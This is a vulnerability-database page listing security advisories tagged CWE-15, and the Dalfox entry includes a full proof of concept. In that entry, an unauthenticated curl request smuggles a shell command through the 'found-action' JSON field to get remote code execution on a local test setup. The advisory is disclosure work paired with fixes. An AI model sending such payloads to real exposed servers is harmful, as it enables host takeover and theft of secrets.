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Common Weakness Enumeration

CWE-15

Allowed

External Control of System or Configuration Setting

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

One or more system settings or configuration elements can be externally controlled by a user.

149 vulnerabilities reference this CWE, most recent first.

GHSA-RPQ2-X2PG-4MXQ

Vulnerability from github – Published: 2026-07-31 18:32 – Updated: 2026-07-31 18:32
VLAI
Details

HCL iControl v4.3.0 was affected by Security Misconfiguration vulnerabilities. It involves the public exposure of internal configuration files due to improper web server or application hardening.

Severity
5.1 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-56567"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-31T16:17:07Z",
    "severity": "MODERATE"
  },
  "details": "HCL iControl v4.3.0 was affected by Security Misconfiguration vulnerabilities. It involves the public exposure of internal configuration files due to improper web server or application hardening.",
  "id": "GHSA-rpq2-x2pg-4mxq",
  "modified": "2026-07-31T18:32:18Z",
  "published": "2026-07-31T18:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56567"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0132395"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V25V-M36W-JP4H

Vulnerability from github – Published: 2026-05-12 15:07 – Updated: 2026-06-08 23:50
VLAI
Summary
Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action`
Details

GHSA: Unauthenticated Remote Code Execution via found-action in Dalfox Server Mode

Summary

When dalfox is started in REST API server mode (dalfox server), the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options — including FoundAction and FoundActionShell — is deserialized directly from attacker-supplied JSON in POST /scan, and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.

Severity

Critical (CVSS 3.1: 10.0)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network — the server binds to 0.0.0.0 by default; reachable by any network peer.
  • Attack Complexity: Low — the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered.
  • Privileges Required: None — no API key is enforced in the default configuration.
  • User Interaction: None.
  • Scope: Changed — exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS.
  • Confidentiality Impact: High — full read access to the host filesystem and secrets in the process environment.
  • Integrity Impact: High — arbitrary file writes, code deployment, persistence mechanisms.
  • Availability Impact: High — process kill, resource exhaustion, service disruption.

Affected Component

  • cmd/server.go — init() (line 51): --api-key defaults to ""
  • pkg/server/server.go — setupEchoServer() (line 68): auth middleware only registered when APIKey != ""
  • pkg/server/server.go — postScanHandler() (lines 173–191): rq.Options passed to ScanFromAPI without sanitization
  • lib/func.go — Initialize() (lines 118–119): FoundAction / FoundActionShell explicitly propagated from caller options
  • pkg/scanning/foundaction.go — foundAction() (lines 17–18): exec.Command(options.FoundActionShell, "-c", afterCmd) executed unconditionally

CWE

  • CWE-306: Missing Authentication for Critical Function
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CWE-15: External Control of System or Configuration Setting

Description

Opt-in Authentication with a Dangerous Default

cmd/server.go registers the --api-key flag with an empty string default:

// cmd/server.go:51
serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...")

setupEchoServer only installs the apiKeyAuth middleware when that value is non-empty:

// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

A server started without --api-key accepts every request on every route with no challenge. The apiKeyAuth implementation itself is correct — the flaw is purely in the opt-in condition that makes authentication off by default.

Attacker-Controlled Options Reaches Shell Execution Without Stripping

POST /scan deserializes the full model.Options struct from the JSON body:

// pkg/server/model.go:6-8
type Req struct {
    URL     string        `json:"url"`
    Options model.Options `json:"options"`
}

// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

model.Options exposes both execution-control fields as JSON-tagged properties:

// pkg/model/options.go:83-84
FoundAction      string `json:"found-action,omitempty"`
FoundActionShell string `json:"found-action-shell,omitempty"`

ScanFromAPI builds the scan target directly from rqOptions and passes it to dalfox.Initialize:

// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies both fields into newOptions — there is no stripping path:

// lib/func.go:118-119
"FoundAction":      {&newOptions.FoundAction, options.FoundAction},
"FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell},

Shell Execution on Any Finding

foundAction is called from seven locations across pkg/scanning/scanning.go and pkg/scanning/sendReq.go whenever options.FoundAction != "" and any vulnerability is detected. None of these call sites check options.IsAPI:

// pkg/scanning/foundaction.go:12-18
func foundAction(options model.Options, target, query, ptype string) {
    afterCmd := options.FoundAction
    afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query)
    afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target)
    afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype)
    cmd := exec.Command(options.FoundActionShell, "-c", afterCmd)
    err := cmd.Run()
    ...
}

Because the attacker supplies both the scan target URL and found-action, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.

Proof of Concept

# Step 1 — Start a reflective XSS target (attacker-controlled)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        body = f'<html><body>{q}</body></html>'.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY

# Step 2 — Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3 — POST unauthenticated scan request with found-action payload
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "found-action": "echo owned >/tmp/dalfox_rce_marker",
      "found-action-shell": "bash",
      "use-headless": false,
      "worker": 1,
      "limit-result": 1
    }
  }'

# Step 4 — Confirm arbitrary command executed on the dalfox host
cat /tmp/dalfox_rce_marker
# Expected output: owned

No X-API-KEY header is required. The reflective server ensures dalfox finds a vulnerability, which triggers foundAction.

Impact

  • Unauthenticated remote code execution on any host running dalfox server in its default configuration.
  • Full read access to secrets, configuration files, and credentials visible to the dalfox process.
  • Arbitrary file writes: persistence, backdoor installation, data exfiltration staging.
  • Lateral movement using the dalfox host's network position and credentials.
  • The default 0.0.0.0 bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.

Recommended Remediation

Option 1: Require API key — make --api-key mandatory (preferred)

Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path.

// cmd/server.go — in runServerCmd, before starting the server:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    fmt.Fprintln(os.Stderr, "       Generate a key with: openssl rand -hex 32")
    os.Exit(1)
}

Option 2: Strip FoundAction / FoundActionShell from API-sourced requests

Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft.

// pkg/server/server.go — in postScanHandler, before calling ScanFromAPI:
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""

Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution.

Credit

Emmanuel David

Github:- https://github.com/drmingler

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hahwul/dalfox/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15",
      "CWE-306",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:07:59Z",
    "nvd_published_at": "2026-05-27T18:16:24Z",
    "severity": "CRITICAL"
  },
  "details": "# GHSA: Unauthenticated Remote Code Execution via `found-action` in Dalfox Server Mode\n\n## Summary\n\nWhen dalfox is started in REST API server mode (`dalfox server`), the server binds to `0.0.0.0:6664` by default and requires no API key unless the operator explicitly passes `--api-key`. Because `model.Options` \u2014 including `FoundAction` and `FoundActionShell` \u2014 is deserialized directly from attacker-supplied JSON in `POST /scan`, and because `dalfox.Initialize` explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.\n\n## Severity\n\n**Critical** (CVSS 3.1: 10.0)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network \u2014 the server binds to `0.0.0.0` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered.\n- **Privileges Required:** None \u2014 no API key is enforced in the default configuration.\n- **User Interaction:** None.\n- **Scope:** Changed \u2014 exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS.\n- **Confidentiality Impact:** High \u2014 full read access to the host filesystem and secrets in the process environment.\n- **Integrity Impact:** High \u2014 arbitrary file writes, code deployment, persistence mechanisms.\n- **Availability Impact:** High \u2014 process kill, resource exhaustion, service disruption.\n\n\n## Affected Component\n\n- `cmd/server.go` \u2014 `init()` (line 51): `--api-key` defaults to `\"\"`\n- `pkg/server/server.go` \u2014 `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` \u2014 `postScanHandler()` (lines 173\u2013191): `rq.Options` passed to `ScanFromAPI` without sanitization\n- `lib/func.go` \u2014 `Initialize()` (lines 118\u2013119): `FoundAction` / `FoundActionShell` explicitly propagated from caller options\n- `pkg/scanning/foundaction.go` \u2014 `foundAction()` (lines 17\u201318): `exec.Command(options.FoundActionShell, \"-c\", afterCmd)` executed unconditionally\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-78**: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)\n- **CWE-15**: External Control of System or Configuration Setting\n\n## Description\n\n### Opt-in Authentication with a Dangerous Default\n\n`cmd/server.go` registers the `--api-key` flag with an empty string default:\n\n```go\n// cmd/server.go:51\nserverCmd.Flags().StringVar(\u0026apiKey, \"api-key\", \"\", \"Specify the API key for server authentication...\")\n```\n\n`setupEchoServer` only installs the `apiKeyAuth` middleware when that value is non-empty:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" \u0026\u0026 options.APIKey != \"\" {\n    e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nA server started without `--api-key` accepts every request on every route with no challenge. The `apiKeyAuth` implementation itself is correct \u2014 the flaw is purely in the opt-in condition that makes authentication off by default.\n\n### Attacker-Controlled `Options` Reaches Shell Execution Without Stripping\n\n`POST /scan` deserializes the full `model.Options` struct from the JSON body:\n\n```go\n// pkg/server/model.go:6-8\ntype Req struct {\n    URL     string        `json:\"url\"`\n    Options model.Options `json:\"options\"`\n}\n\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`model.Options` exposes both execution-control fields as JSON-tagged properties:\n\n```go\n// pkg/model/options.go:83-84\nFoundAction      string `json:\"found-action,omitempty\"`\nFoundActionShell string `json:\"found-action-shell,omitempty\"`\n```\n\n`ScanFromAPI` builds the scan target directly from `rqOptions` and passes it to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n    URL:     url,\n    Method:  rqOptions.Method,\n    Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies both fields into `newOptions` \u2014 there is no stripping path:\n\n```go\n// lib/func.go:118-119\n\"FoundAction\":      {\u0026newOptions.FoundAction, options.FoundAction},\n\"FoundActionShell\": {\u0026newOptions.FoundActionShell, options.FoundActionShell},\n```\n\n### Shell Execution on Any Finding\n\n`foundAction` is called from seven locations across `pkg/scanning/scanning.go` and `pkg/scanning/sendReq.go` whenever `options.FoundAction != \"\"` and any vulnerability is detected. None of these call sites check `options.IsAPI`:\n\n```go\n// pkg/scanning/foundaction.go:12-18\nfunc foundAction(options model.Options, target, query, ptype string) {\n    afterCmd := options.FoundAction\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@query@@\", query)\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@target@@\", target)\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@type@@\", ptype)\n    cmd := exec.Command(options.FoundActionShell, \"-c\", afterCmd)\n    err := cmd.Run()\n    ...\n}\n```\n\nBecause the attacker supplies both the scan target URL and `found-action`, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Start a reflective XSS target (attacker-controlled)\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query).get(\u0027q\u0027, [\u0027\u0027])[0]\n        body = f\u0027\u003chtml\u003e\u003cbody\u003e{q}\u003c/body\u003e\u003c/html\u003e\u0027.encode()\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n        self.send_header(\u0027Content-Length\u0027, str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n    def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18081), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 POST unauthenticated scan request with found-action payload\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\n    \"url\": \"http://127.0.0.1:18081/?q=test\",\n    \"options\": {\n      \"found-action\": \"echo owned \u003e/tmp/dalfox_rce_marker\",\n      \"found-action-shell\": \"bash\",\n      \"use-headless\": false,\n      \"worker\": 1,\n      \"limit-result\": 1\n    }\n  }\u0027\n\n# Step 4 \u2014 Confirm arbitrary command executed on the dalfox host\ncat /tmp/dalfox_rce_marker\n# Expected output: owned\n```\n\nNo `X-API-KEY` header is required. The reflective server ensures dalfox finds a vulnerability, which triggers `foundAction`.\n\n## Impact\n\n- **Unauthenticated remote code execution** on any host running `dalfox server` in its default configuration.\n- Full read access to secrets, configuration files, and credentials visible to the dalfox process.\n- Arbitrary file writes: persistence, backdoor installation, data exfiltration staging.\n- Lateral movement using the dalfox host\u0027s network position and credentials.\n- The default `0.0.0.0` bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.\n\n## Recommended Remediation\n\n### Option 1: Require API key \u2014 make `--api-key` mandatory (preferred)\n\nReject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path.\n\n```go\n// cmd/server.go \u2014 in runServerCmd, before starting the server:\nif serverType == \"rest\" \u0026\u0026 apiKey == \"\" {\n    fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n    fmt.Fprintln(os.Stderr, \"       Generate a key with: openssl rand -hex 32\")\n    os.Exit(1)\n}\n```\n\n### Option 2: Strip `FoundAction` / `FoundActionShell` from API-sourced requests\n\nPrevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft.\n\n```go\n// pkg/server/server.go \u2014 in postScanHandler, before calling ScanFromAPI:\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\n```\n\nBoth options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler",
  "id": "GHSA-v25v-m36w-jp4h",
  "modified": "2026-06-08T23:50:00Z",
  "published": "2026-05-12T15:07:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-v25v-m36w-jp4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45087"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hahwul/dalfox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action`"
}

GHSA-VFW7-6RHC-6XXG

Vulnerability from github – Published: 2026-04-07 18:10 – Updated: 2026-05-06 02:39
VLAI
Summary
OpenClaw Has Incomplete Fix for CVE-2026-4039: CLI Backend Environment Variable Injection via Workspace Config
Details

Summary

Incomplete Fix for CVE-2026-4039: CLI Backend Environment Variable Injection via Workspace Config

Current Maintainer Triage

  • Status: open
  • Normalized severity: high
  • Assessment: Real shipped malicious-workspace-config env injection in the CLI backend runner, fixed by sanitizing backend env before spawn and shipped in v2026.3.24, so advisory stays open until published.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published npm version: 2026.3.31
  • Vulnerable version range: <=2026.3.23-2
  • Patched versions: >= 2026.3.24
  • First stable tag containing the fix: v2026.3.24

Fix Commit(s)

  • c2fb7f1948c3226732a630256b5179a60664ec24 — 2026-03-24T12:58:10-07:00

Release Process Note

  • The fix is already present in released version 2026.3.24.
  • This draft looks ready for final maintainer disposition or publication, not additional code-fix work.

Thanks @YLChen-007 for reporting.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.23-2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15",
      "CWE-426"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:10:52Z",
    "nvd_published_at": "2026-04-28T19:37:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nIncomplete Fix for CVE-2026-4039: CLI Backend Environment Variable Injection via Workspace Config\n\n## Current Maintainer Triage\n- Status: open\n- Normalized severity: high\n- Assessment: Real shipped malicious-workspace-config env injection in the CLI backend runner, fixed by sanitizing backend env before spawn and shipped in v2026.3.24, so advisory stays open until published.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.23-2`\n- Patched versions: `\u003e= 2026.3.24`\n- First stable tag containing the fix: `v2026.3.24`\n\n## Fix Commit(s)\n- `c2fb7f1948c3226732a630256b5179a60664ec24` \u2014 2026-03-24T12:58:10-07:00\n\n## Release Process Note\n- The fix is already present in released version `2026.3.24`.\n- This draft looks ready for final maintainer disposition or publication, not additional code-fix work.\n\nThanks @YLChen-007 for reporting.",
  "id": "GHSA-vfw7-6rhc-6xxg",
  "modified": "2026-05-06T02:39:16Z",
  "published": "2026-04-07T18:10:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vfw7-6rhc-6xxg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c2fb7f1948c3226732a630256b5179a60664ec24"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-environment-variable-injection-via-workspace-config-in-cli-backend"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw Has Incomplete Fix for CVE-2026-4039: CLI Backend Environment Variable Injection via Workspace Config"
}

GHSA-VG63-W3P9-JC9M

Vulnerability from github – Published: 2025-03-25 00:30 – Updated: 2025-11-03 21:33
VLAI
Summary
ingress-nginx controller - configuration injection via unsanitized mirror annotations
Details

A security issue was discovered in ingress-nginx where the mirror-target and mirror-host Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/ingress-nginx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/ingress-nginx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0-beta.0"
            },
            {
              "fixed": "1.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-25T15:06:43Z",
    "nvd_published_at": "2025-03-25T00:15:14Z",
    "severity": "HIGH"
  },
  "details": "A security issue was discovered in [ingress-nginx](https://github.com/kubernetes/ingress-nginx) where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)",
  "id": "GHSA-vg63-w3p9-jc9m",
  "modified": "2025-11-03T21:33:13Z",
  "published": "2025-03-25T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1098"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/131008"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubernetes/ingress-nginx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.11.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.1"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/kubernetes-security-announce/c/2qa9DFtN0cQ"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250328-0008"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ingress-nginx controller - configuration injection via unsanitized mirror annotations"
}

GHSA-VMQR-RC7X-3446

Vulnerability from github – Published: 2026-03-03 18:54 – Updated: 2026-03-18 01:24
VLAI
Summary
OpenClaw's non-default safeBins sort configuration can bypass intended allowlist approval constraints
Details

When sort is explicitly added to tools.exec.safeBins (non-default), the --compress-program option can invoke an external helper and bypass the intended safe-bin approval constraints in allowlist mode.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Vulnerable versions: <=2026.2.21-2
  • Latest published npm version checked during triage: 2026.2.21-2 (as of February 22, 2026)
  • Patched in planned next release: 2026.2.22

Fix Commit(s)

  • 57fbbaebca4d34d17549accf6092ae26eb7b605c

Release Process Note

patched_versions is pre-set to the planned next release (>=2026.2.22). Once that npm release is published, the advisory can be published directly.

OpenClaw thanks @tdjackey for reporting.

Severity
6.4 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T18:54:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "When `sort` is explicitly added to `tools.exec.safeBins` (non-default), the `--compress-program` option can invoke an external helper and bypass the intended safe-bin approval constraints in allowlist mode.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Vulnerable versions: `\u003c=2026.2.21-2`\n- Latest published npm version checked during triage: `2026.2.21-2` (as of February 22, 2026)\n- Patched in planned next release: `2026.2.22`\n\n## Fix Commit(s)\n\n- `57fbbaebca4d34d17549accf6092ae26eb7b605c`\n\n## Release Process Note\n\n`patched_versions` is pre-set to the planned next release (`\u003e=2026.2.22`). Once that npm release is published, the advisory can be published directly.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-vmqr-rc7x-3446",
  "modified": "2026-03-18T01:24:57Z",
  "published": "2026-03-03T18:54:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vmqr-rc7x-3446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/57fbbaebca4d34d17549accf6092ae26eb7b605c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw\u0027s non-default safeBins sort configuration can bypass intended allowlist approval constraints"
}

GHSA-VP64-77C6-33H8

Vulnerability from github – Published: 2025-09-15 18:31 – Updated: 2025-09-15 22:25
VLAI
Summary
Liferay Portal has External Control of System or Configuration Settings
Details

Remote staging in Liferay Portal 7.4.0 through 7.4.3.105, and older unsupported versions, and Liferay DXP 2023.Q4.0, 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions does not properly obtain the remote address of the live site from the database which, which allows remote authenticated users to exfiltrate data to an attacker controlled server (i.e., a fake “live site”) via the _com_liferay_exportimport_web_portlet_ExportImportPortlet_remoteAddress and _com_liferay_exportimport_web_portlet_ExportImportPortlet_remotePort parameters. To successfully exploit this vulnerability, an attacker must also successfully obtain the staging server’s shared secret and add the attacker controlled server to the staging server’s whitelist.

Severity
2.3 (Low)
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:com.liferay.portal.kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "130.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-43792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T22:25:10Z",
    "nvd_published_at": "2025-09-15T17:15:34Z",
    "severity": "LOW"
  },
